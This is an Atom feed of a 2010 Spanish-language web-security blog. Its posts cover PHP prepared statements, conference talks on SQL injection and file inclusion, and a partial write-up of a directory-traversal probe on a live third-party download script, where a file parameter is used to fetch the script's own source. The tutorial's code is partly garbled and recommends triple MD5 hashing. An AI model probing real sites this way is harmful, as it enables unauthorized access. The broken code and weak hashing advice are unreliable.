<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8537339479493905438</id><updated>2011-07-07T18:21:29.895-07:00</updated><category term='Redes'/><category term='elhacker.net'/><category term='Programacion'/><category term='laboratorio'/><category term='mysql'/><category term='Ingenieria Social'/><category term='php'/><category term='Reverse'/><category term='perl'/><category term='articulo'/><category term='Seguridad Informatica'/><category term='metasploit'/><category term='Windows'/><category term='Leyes'/><category term='Troyano'/><category term='Google'/><category term='Tool'/><category term='iexplorer'/><category term='SQLi Blind'/><category term='VM'/><category term='Kubuntu'/><category term='prepared_statements'/><category term='festival'/><category term='Bot'/><category term='Linux'/><category term='directory_transversal'/><category term='Wifi'/><category term='Eventos'/><category term='Seguridad'/><category term='SQLi'/><category term='DoS'/><category term='VNC'/><category term='Hacking'/><category term='entrevista'/><category term='Apache'/><category term='Noticia'/><category term='XSS'/><title type='text'>M@gn0B4lt - Security - Hacking - Programming - Linux</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>32</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-2628521266761586541</id><published>2010-09-19T18:32:00.000-07:00</published><updated>2010-09-19T19:12:04.203-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='directory_transversal'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Charla UNNE- RFI LFI &amp; Directory transversal en Descarga de archivo</title><content type='html'>El sabado 18/09, (ayer &lt;span style="font-weight: bold;"&gt;:)&lt;/span&gt;), los chicos de la Franja me invitaron a un evento que se realializo en la Unversidad de la UNNE, FaCENA, a las 9 hs, donde hubieron 2 charlas, una de &lt;span style="font-weight: bold;"&gt;Evaluación de  Sistemas&lt;/span&gt; y otra mia que fue sobre &lt;span style="font-weight: bold;"&gt;Seguridad en PHP&lt;/span&gt;. Quiero agradecer a los chicos de la &lt;span style="font-weight: bold;"&gt;Franja &lt;/span&gt;(Chici, Carlitos, Aguntin ), por haberme dado la oportunidad de dictar una conferencia en la UNNE donde soy alumno, y donde si dios quiere termino este año Licenciatura.&lt;br /&gt;Bien les paso algunas fotos y la presentación, donde no esta muchas cosas que mostre de codigo en php ya que no estraban en los slays, pero si algunas cosas importantes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 425px;" id="__ss_5236104"&gt;&lt;div style="text-align: center;"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/magnobalt/presentacionblog-5236104" title="Presentacionblog"&gt;Presentacionblog&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5236104" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=presentacionblog-100919203222-phpapp01&amp;amp;stripped_title=presentacionblog-5236104&amp;amp;userName=magnobalt"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse5236104" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=presentacionblog-100919203222-phpapp01&amp;amp;stripped_title=presentacionblog-5236104&amp;amp;userName=magnobalt" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(0, 0, 153);font-size:180%;" &gt;&lt;span style="font-weight: bold;"&gt;Fotos del Evento&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TJa8R_0PfcI/AAAAAAAAAQA/6GuzBjg3RvM/s1600/Imagen+001.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TJa8R_0PfcI/AAAAAAAAAQA/6GuzBjg3RvM/s320/Imagen+001.jpg" alt="" id="BLOGGER_PHOTO_ID_5518805410763472322" border="0" /&gt;&lt;/a&gt;con &lt;a href="http://maquinabinaria.blogspot.com/"&gt;Bernardo&lt;/a&gt;, que hizo un video de LFI por metodo POST&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TJa9EzD_J5I/AAAAAAAAAQI/YOrxNSxBQ00/s1600/Imagen+002.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/TJa9EzD_J5I/AAAAAAAAAQI/YOrxNSxBQ00/s320/Imagen+002.jpg" alt="" id="BLOGGER_PHOTO_ID_5518806283513178002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TJa9mMVzOhI/AAAAAAAAAQQ/JQeAXGK__P8/s1600/Imagen+003.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TJa9mMVzOhI/AAAAAAAAAQQ/JQeAXGK__P8/s320/Imagen+003.jpg" alt="" id="BLOGGER_PHOTO_ID_5518806857234463250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/TJa-ab4M1BI/AAAAAAAAAQY/7APOUk22qB8/s1600/Imagen+005.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/TJa-ab4M1BI/AAAAAAAAAQY/7APOUk22qB8/s320/Imagen+005.jpg" alt="" id="BLOGGER_PHOTO_ID_5518807754758476818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TJa--ZqvcTI/AAAAAAAAAQg/85R3CRQK4sc/s1600/Imagen+006.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TJa--ZqvcTI/AAAAAAAAAQg/85R3CRQK4sc/s320/Imagen+006.jpg" alt="" id="BLOGGER_PHOTO_ID_5518808372640444722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Asado en lo de Padilla, y Yamila cocinando naaaa jajajaja&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TJa_zed6ufI/AAAAAAAAAQo/kRgbBwwPFjs/s1600/Imagen+009.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/TJa_zed6ufI/AAAAAAAAAQo/kRgbBwwPFjs/s320/Imagen+009.jpg" alt="" id="BLOGGER_PHOTO_ID_5518809284461902322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-2628521266761586541?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/2628521266761586541/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/09/charla-unne-rfi-lfi-directory.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2628521266761586541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2628521266761586541'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/09/charla-unne-rfi-lfi-directory.html' title='Charla UNNE- RFI LFI &amp; Directory transversal en Descarga de archivo'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/TJa8R_0PfcI/AAAAAAAAAQA/6GuzBjg3RvM/s72-c/Imagen+001.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-466484607021995326</id><published>2010-08-23T19:50:00.000-07:00</published><updated>2010-08-26T19:55:22.106-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='prepared_statements'/><title type='text'>Prepared Statements PHP y MySQL- Alta usuario</title><content type='html'>Anduve probando unas cosas en PHP, en estos dias que estaba mas libre con la facultad, y me decidi crear un alta de usuario, donde haya una seguridad relativamente alta.&lt;br /&gt;Primero que nada use lo que se llama como &lt;span style="font-weight: bold;"&gt;Prepared Statements&lt;/span&gt;, que nos permite realizar una consulta al DBMS, pudiendo por asi decirlo, separar lo que ingresa el usuario del codigo mismo, es decir que el motor sabe que valor es ingresado por el usuario, con la ventaja pricipal en seguridad de que no pueden inyectar codigo arbitrario en la consulta conocido como &lt;a href="http://magnobalt.blogspot.com/2010/04/sql-injection-parte-i.html"&gt;SQL INJECTIO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Coloquemos un ejemplo de lo que seria una consulta con &lt;span style="font-weight: bold;"&gt;Prepared Statements, &lt;/span&gt;un consulta a un articulo de una noticia.&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;$mysqli = new mysqli('host', 'user', 'pass', 'db');&lt;br /&gt;$stmt=$mysqli-&gt;prepare("SELECT * FROM NOTICIAS WHERE ID=?");&lt;br /&gt;$stmt-&gt;bind_param('i', $_GET['id']);&lt;br /&gt;$stmt-&gt;execute();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;En la primer linea creamos el un objeto &lt;a href="http://php.net/manual/en/book.mysqli.php"&gt;mysqli&lt;/a&gt;, en la segunda preparamos la consulta para enviar al motor, note que el valor que se espera se coloca con el caracter &lt;span style="font-weight: bold;"&gt;?&lt;/span&gt;, tercera linea agrega la variable a la sentencia preparada, fijese que está el valor &lt;span style="font-weight: bold;"&gt;i&lt;/span&gt;, lo cual significa que lo que se espera será un entero. Tambien podemos usar &lt;span style="font-weight: bold;"&gt;s&lt;/span&gt; (string),  &lt;span style="font-weight: bold;"&gt;d&lt;/span&gt; (double), &lt;span style="font-weight: bold;"&gt;b&lt;/span&gt; (binary data) dependiendo lo que se necesita.&lt;br /&gt;En la cuarta linea ejecutamos el Statement Prepared. :)&lt;br /&gt;En la sección de &lt;a href="http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet"&gt;&lt;span style="text-decoration: underline;"&gt;Prevencion&lt;/span&gt; de SQL INJECTION&lt;/a&gt; de la &lt;a href="http://www.owasp.org/index.php/Main_Page"&gt;&lt;span style="text-decoration: underline;"&gt;OWASP&lt;/span&gt;&lt;/a&gt;, lo tenemos como primer medida de seguridad. Lo bueno de esto es que el codigo no queda tan sucio, al filtrar todas las entradas del usuario  con funciones como &lt;span style="font-weight: bold;"&gt;int(), settype(), is_numeric(), &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;mysql_real_escape_string()&lt;/i&gt; etc.&lt;br /&gt;&lt;br /&gt;El alta creado tiene las siguientes caracteristicas: La contraseña se encripta 3 veces en md5 (lo cual se puede cambiar desde el codigo), debe ser mayor a 7 caracteres, y debe contener al menos una mayuscula y un numero.&lt;br /&gt;Este es el codigo con el formulario en HTML y el PHP.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;br /&gt;Alta Usuario&lt;br /&gt;&lt;br /&gt;&amp;lt;form action='' method='post'&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;Nombre:&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type='text' name='nombre'&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;Email&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type='text' name='email'&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;Usuario:&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type='text' name='user'&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;Contraseña:&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type='password' name='pass'&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type='submit' value='Enviar' name='enviar'&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;br /&gt;function pass_cript($pass){&lt;br /&gt;for($i=0;$i &lt;3;$i++){ pass="md5($pass);" stmt=" $mysqli"&gt;prepare("SELECT usuario FROM usuarios WHERE usuario=?");&lt;br /&gt;$stmt-&gt;bind_param('s', $usuario);&lt;br /&gt;$stmt-&gt;execute();&lt;br /&gt;$stmt-&gt;bind_result($result);&lt;br /&gt;#tercer if&lt;br /&gt;if($stmt-&gt;fetch()== false)&lt;br /&gt;{&lt;br /&gt;verificar_pass();&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;echo "El usuario ya existe";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function alta(){&lt;br /&gt;&lt;br /&gt;global $mysqli;&lt;br /&gt;global $usuario;&lt;br /&gt;global $password;&lt;br /&gt;global $email;&lt;br /&gt;global $nombre;&lt;br /&gt;$password=pass_cript($password);&lt;br /&gt;$stmt=$mysqli-&gt;prepare("INSERT INTO usuarios (usuario, password, Email, Nombre) VALUES (?, ?, ?, ?)");&lt;br /&gt;// Bind your variables to replace the ?s&lt;br /&gt;$stmt-&gt;bind_param('ssss', $usuario, $password, $email, $nombre);&lt;br /&gt;  // Execute query&lt;br /&gt;$stmt-&gt;execute();&lt;br /&gt;printf("%d Fila Insertada.\n", $stmt-&gt;affected_rows);&lt;br /&gt;// Close statement object&lt;br /&gt;$stmt-&gt;close();&lt;br /&gt;echo "El usuario ".$usuario." ha sido dado de alta!!";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function verificar_pass(){&lt;br /&gt;global $password;&lt;br /&gt;&lt;br /&gt;if(strlen($password) &gt; 7 )&lt;br /&gt;{&lt;br /&gt;   if (preg_match('/[A-Z]+[0-9]+/', $password) || preg_match('/[0-9]+[A-Z]+/', $password))&lt;br /&gt;{&lt;br /&gt;alta();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;echo "El password debe estar constituido por al menos una mayuscula y al menos un digito";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;echo "El password debe ser mayor a 7 caracteres";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Prepared Statements&lt;br /&gt;$mysqli = new mysqli('host', 'user', 'pass', 'db');&lt;br /&gt;if (mysqli_connect_errno())&lt;br /&gt;{&lt;br /&gt;printf("Can't connect to   MySQL Server. Errorcode: %s\n", mysqli_connect_error());&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;#Primer if&lt;br /&gt;if(!empty($_POST['enviar']))&lt;br /&gt;{&lt;br /&gt;#segundo if&lt;br /&gt;if (isset($_POST['nombre']) &amp;amp;&amp;amp; !empty($_POST['nombre']) &amp;amp;&amp;amp; isset($_POST['email']) &amp;amp;&amp;amp; !empty($_POST['email']) &amp;amp;&amp;amp; isset($_POST['user']) &amp;amp;&amp;amp; !empty($_POST['user']) &amp;amp;&amp;amp; isset($_POST['pass']) &amp;amp;&amp;amp; !empty($_POST['pass']))&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;$nombre=$_POST['nombre'];&lt;br /&gt;$usuario=$_POST['user'];&lt;br /&gt;$password=$_POST['pass'];&lt;br /&gt;$email=$_POST['email'];&lt;br /&gt;verificar_usuario();&lt;br /&gt;&lt;br /&gt;}#cierre segundo if&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;echo "Debe rellenar los camposs gracias";&lt;br /&gt;}&lt;br /&gt;}#cierro primer if&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Voy a explicar lo que hace el codigo, osea su secuencia para que se entienda y luego los que quieren usarlo lo usen para sus&lt;br /&gt;altas XD o para probar.&lt;br /&gt;En la linea 105 es donde verifico que todos los datos del formulario esten definidos y que no esten en blanco, en caso afirmativo&lt;br /&gt;tomo esos valores y voy a la función &lt;span style="font-weight: bold;"&gt;verificar_usuario()&lt;/span&gt;.&lt;br /&gt;Esta función lo que hace es verificar si el usuario que se quiere dar de alta existe en la base de datos,&lt;br /&gt;en caso de que llegara a existir imprimira una leyenda con &lt;span style="font-weight: bold;"&gt;"El usuario ya existe"&lt;/span&gt;, y se terminaria el proceso. En caso negativo se&lt;br /&gt;se dirige a la función &lt;span style="font-weight: bold;"&gt;verificar_pass()&lt;/span&gt;.&lt;br /&gt;Esta función realiza el testeo de seguridad del password donde debe cumplir que: debe ser mayor a 7 caracteres y&lt;br /&gt;debe contener al menos una mayuscula y un numero en el.&lt;br /&gt;Cumpliendo estas restricciones  en el password se dirige a la función &lt;span style="font-weight: bold;"&gt;alta()&lt;/span&gt;, que en la linea 57,&lt;br /&gt;el valor de $password es pasado a a la función &lt;span style="font-weight: bold;"&gt;pass_cript()&lt;/span&gt;, para encriptarlo en una cantidad de 3 veces en MD5, luego basicamente&lt;br /&gt;se realiza el &lt;span style="font-weight: bold;"&gt;INSERT INTO&lt;/span&gt; correspondiente al alta :).&lt;br /&gt;&lt;br /&gt;Aca les dejo algunos enlaces para que sigan leyendo sobre &lt;span style="font-weight: bold;"&gt;Prepared Statemen&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mattbango.com/notebook/web-development/prepared-statements-in-php-and-mysqli/"&gt;&lt;span style="text-decoration: underline;"&gt;http://mattbango.com/notebook/web-development/prepared-statements-in-php-and-mysqli/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ultramegatech.com/blog/2009/07/using-mysql-prepared-statements-in-php/"&gt;http://www.ultramegatech.com/blog/2009/07/using-mysql-prepared-statements-in-php/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.hiteshagrawal.com/mysql/mysql-prepared-statement-in-php"&gt;http://www.hiteshagrawal.com/mysql/mysql-prepared-statement-in-php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-466484607021995326?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/466484607021995326/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/08/prepared-statements-php-y-mysql-alta.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/466484607021995326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/466484607021995326'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/08/prepared-statements-php-y-mysql-alta.html' title='Prepared Statements PHP y MySQL- Alta usuario'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-8385982773092484129</id><published>2010-08-18T11:28:00.000-07:00</published><updated>2010-08-18T11:55:53.976-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>JOINEA 2010</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://alej2010.uphero.com/imagenes/joinea.JPG"&gt;&lt;img style="cursor: pointer; width: 361px; height: 384px;" src="http://alej2010.uphero.com/imagenes/joinea.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Bueno despues de mas de un mes sin postear, por motivos de la facultad y otras cosas vuelvo.&lt;br /&gt;&lt;br /&gt;Este fin de semana se viene la &lt;a href="http://joinea.exactas-unam.dyndns.org/"&gt;&lt;span style="font-weight: bold;"&gt;JOINEA&lt;/span&gt; &lt;/a&gt;-&lt;span style="font-style: italic;"&gt; Jornade de Integración, Extensión y Actualización de Estudiantes de Sistemas -&lt;/span&gt; el cual se realiza en Apostoles Misiones organizado por los chicos de la UNaM.&lt;br /&gt;Hubo un llamado de papers, envie uno y  quedo seleccionado, sobre &lt;span style="font-weight: bold;"&gt;Segridad Web: SQL injection y Directory Transversal&lt;/span&gt;, pero por motivos de tiempo en la expocicion lo reduje solamente a &lt;span style="font-weight: bold;"&gt;SQL Injection&lt;/span&gt; ya que se haria interminable.&lt;br /&gt;Hay buen nivel de las expociciones, asi que seguro voy a ir a aprender mucho y conocer gente nueva el cual son los objetivos principales. Aqui les dejo el &lt;a href="http://joinea.exactas-unam.dyndns.org/cronograma.php"&gt;cronograma&lt;/a&gt; del evento.&lt;br /&gt;Mañana a las 12 salimos de la Costanera, ya que el centro de estudiantes de la FA.CE.NA organizo el viaje para cualquiera a un costo accesible que incluye viaje, hospedaje y comida, en donde se lleno un colectivo con capacidad para 45 personas.&lt;br /&gt;Aqui les dejo mi presentacion,&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 477px;" id="__ss_5003461"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/magnobalt/sql-injection-joinea-2010" title="SQL Injection Joinea 2010"&gt;SQL Injection Joinea 2010&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5003461" height="510" width="477"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/doc_player.swf?doc=joinea2010sqlinjection-100818134828-phpapp01&amp;amp;stripped_title=sql-injection-joinea-2010"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse5003461" src="http://static.slidesharecdn.com/swf/doc_player.swf?doc=joinea2010sqlinjection-100818134828-phpapp01&amp;amp;stripped_title=sql-injection-joinea-2010" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="510" width="477"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-8385982773092484129?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/8385982773092484129/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/08/joinea-2010.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/8385982773092484129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/8385982773092484129'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/08/joinea-2010.html' title='JOINEA 2010'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-5432959024245498299</id><published>2010-06-21T19:49:00.000-07:00</published><updated>2010-06-21T22:15:08.614-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='directory_transversal'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Directory Transversal en descarga de Archivo</title><content type='html'>Me encontre con una web la cual nesesitaba descargar un fichero que me resultaba de interes, donde la direccion de descarga era similar a esto:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http://www.sitio.com/descarga/download.php?file=archivo.extension&lt;/span&gt;, por lo que me propuse verificar si dicho downloader tenia alguna validación, para provocar un &lt;a href="http://es.wikipedia.org/wiki/Directory_traversal"&gt;Directory Transversal&lt;/a&gt;.&lt;br /&gt;Lo que realize fue la peticion de este modo &lt;span style="font-weight: bold;"&gt;http://www.sitio.com/descarga/download.php?file=download.php&lt;/span&gt;, para descargarme el archivo download.php&lt;br /&gt;y heureca :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TCAxGTZ1PvI/AAAAAAAAAPI/kIryoJvLvps/s1600/directorytransversal.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 175px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/TCAxGTZ1PvI/AAAAAAAAAPI/kIryoJvLvps/s320/directorytransversal.png" alt="" id="BLOGGER_PHOTO_ID_5485438330494861042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Al abrir el archivo download.php podemos empezar a verificar las fallas de la validaciones:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$filename = $_GET['file'];&lt;br /&gt;&lt;br /&gt;// addition by Jorg Weske&lt;br /&gt;$file_extension = strtolower(substr(strrchr($filename,"."),1));&lt;br /&gt;&lt;br /&gt;if ( ! file_exists( $filename ) )&lt;br /&gt;{&lt;br /&gt; echo "not file";&lt;br /&gt; exit;&lt;br /&gt;};&lt;br /&gt;switch( $file_extension )&lt;br 